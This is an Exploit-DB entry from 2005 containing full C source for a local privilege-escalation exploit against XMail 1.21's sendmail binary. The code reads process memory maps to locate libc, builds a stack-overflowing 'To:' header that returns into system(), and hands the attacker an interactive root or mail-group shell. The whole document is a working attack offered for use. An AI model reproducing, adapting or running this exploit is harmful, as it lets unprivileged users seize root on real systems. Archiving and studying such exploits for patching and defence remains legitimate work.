Exploit-DB #1267
Description: XMail 1.21 - '-t' Command Line Option Local Buffer Overflow / Local Privilege Escalation
Type: local
Platform: linux
Date: 2005-10-20
Author: qaaz

Exploit:
/*
* XMail 1.21 'sendmail' local exploit (ret-into-libc)
* Yields uid root || gid mail
* By qaaz [at] centrum [dot] cz, 2005
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/select.h>


#define TARGET "/var/MailRoot/bin/sendmail"

#define NM "nm"
#define GREP "grep"
#define MKDIR "mkdir"
#define TMP "/tmp"
#define MAILROOT TMP"/mr"

#define ID "/usr/bin/id"
#define SH "/bin/sh"

#define OVERLEN (256+12 + 16)
/* EmitRecipients() stack */
/* | locals + padding + PUSHes | RET | Arg1... | */
/* |<--------- OVERLEN ------->| */

#define MAX(x,y) (((x)>(y)) ? (x) : (y))

char *libc_file = NULL;
unsigned int libc_base = 0;
unsigned int stack_base = 0;

unsigned int file_addr = 0;
unsigned int system_addr = 0;

int pid;
int pi[2], po[2], pe[2];

void sigchild(int sig)
{
if (waitpid(pid, NULL, WNOHANG) == pid) {
printf("[*] Vuln terminated\n");
exit(-1);
}
}

void killchild()
{
if (pid) kill(pid, SIGKILL);
}

char bad_chars(char *buf, int len)
{
int i;
if (len == 0) len == strlen(buf);
for (i = 0; i < len; i++) {
if (!buf[i] || strchr("<> \t,\":;'\r\n", buf[i]))
return buf[i];
}
return 0;
}

unsigned int get_sym(char *lib, char *sym)
{
FILE *f;
char buf[1024];
unsigned int val = 0;

sprintf(buf, "%s -D %s | %s -w %s", NM, lib, GREP, sym);
if (f = popen(buf, "r")) {
fgets(buf, sizeof(buf), f);
sscanf(buf, "%08lx %*s %*s", &val);
pclose(f);
}
return val;
}

unsigned int check_sym(char *lib, char *sym, unsigned int base)
{
unsigned int offs = get_sym(lib, sym);
unsigned int addr = base + offs;

if (!offs) {
printf("[-] %s: not found?\n", sym);
return 0;
}
if (bad_chars((char *) &addr, 4)) {
printf("[-] %s: 0x%08x, bad chars\n", sym, addr);
return 0;
}
printf("[+] %s: 0x%08x\n", sym, addr);
return addr;
}

void do_maps(int pid)
{
FILE *f;
char buf[1024];

sprintf(buf, "/proc/%d/maps", pid);
if (!(f = fopen(buf, "r"))) return;

while (fgets(buf, sizeof(buf), f)) {
unsigned int addr_beg, addr_end;
char pathname[1024];
int offset;

pathname[0] = 0;
sscanf(buf, "%08lx-%08lx %*s %08lx %*s %*s %s",
&addr_beg, &addr_end, &offset, pathname);

if (offset < 0)
stack_base = addr_end;
else if (strstr(pathname, "/libc") && (!libc_base || addr_beg < libc_base))
libc_base = addr_beg, libc_file = (char *) strdup(pathname);
}
fclose(f);
}

void do_syms()
{
if (!(file_addr = check_sym(libc_file, "stdout", libc_base))
&& !(file_addr = check_sym(libc_file, "stderr", libc_base))
&& !(file_addr = check_sym(libc_file, "stdin", libc_base))) {
printf("[-] Can't use std files\n");
exit(-1);
}

if (!(system_addr = check_sym(libc_file, "system", libc_base))) {
printf("[-] Can't use system()\n");
exit(-1);
}
}

void do_shell()
{
fd_set fds;
struct timeval tv;
int retval, maxfd;
char buf[1024];

maxfd = MAX(0, MAX(po[0], pe[0])) + 1;

while (1) {
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(po[0], &fds);
FD_SET(pe[0], &fds);
tv.tv_sec = 0;
tv.tv_usec = 100;

if (select(maxfd, &fds, NULL, NULL, &tv) == -1) break;

if (FD_ISSET(0, &fds)) {
if ((retval = read(0, buf, sizeof(buf))) <= 0) break;
write(pi[1], buf, retval);
}
if (FD_ISSET(po[0], &fds)) {
if ((retval = read(po[0], buf, sizeof(buf))) <= 0) break;
write(1, buf, retval);
}
if (FD_ISSET(pe[0], &fds)) {
if ((retval = read(pe[0], buf, sizeof(buf))) <= 0) break;
write(2, buf, retval);
}
}
}

int main(int argc, char *argv[])
{
if (argc > 1 && !strcmp(argv[1], "-sh")) {
setresuid(geteuid(), geteuid(), geteuid());
setresgid(getegid(), getegid(), getegid());
system(ID);
execl(SH, SH, "-i", NULL);
perror("execl");
exit(-1);
}

if (pipe(pi) || pipe(po) || pipe(pe)) {
perror("[-] pipe");
return -1;
}

if ((pid = fork()) == -1) {
perror("[-] fork");
return -1;
}

if (pid) {
unsigned int i;
char buf[10*1024];

atexit(killchild);
signal(SIGCHLD, sigchild);
sleep(1);

printf("[*] Reading maps...\n");
do_maps(pid);
printf("[%c] libc: 0x%08x\n", libc_base?'+':'-', libc_base);
if (!libc_base) exit(-1);
printf("[%c] stack: 0x%08x\n", stack_base?'+':'-', stack_base);
if (!stack_base) exit(-1);

printf("[*] Getting symbols...\n");
do_syms();

strcpy(buf, "To: h4h4@");
for (i = 0; i < OVERLEN-5; i++) // "h4h4@" == 5
strcat(buf, "A");
strncat(buf, (char *) &system_addr, 4);
strncat(buf, (char *) &file_addr, 4);
i = stack_base - 5000;
strncat(buf, (char *) &i, 4);
strcat(buf, "\n");

write(pi[1], buf, strlen(buf));
sleep(1); do_shell();
printf("[*] Done\n");
exit(1);
}
else {
char buf[10*1024];
char *_env[3] = { NULL, "MAIL_ROOT="MAILROOT, NULL };
char *_arg[3] = { TARGET, "-t", NULL };

sprintf(buf, "%s -p %s/spool/temp", MKDIR, MAILROOT);
system(buf);

sprintf(buf, "%10000s -sh", argv[0]);
_env[0] = (char *) strdup(buf);

printf("[*] Executing vuln...\n");

close(0); dup2(pi[0], 0);
close(1); dup2(po[1], 1);
close(2); dup2(pe[1], 2);
execve(_arg[0], _arg, _env);
perror("[-] execve");
return -1;
}

exit(1);
}

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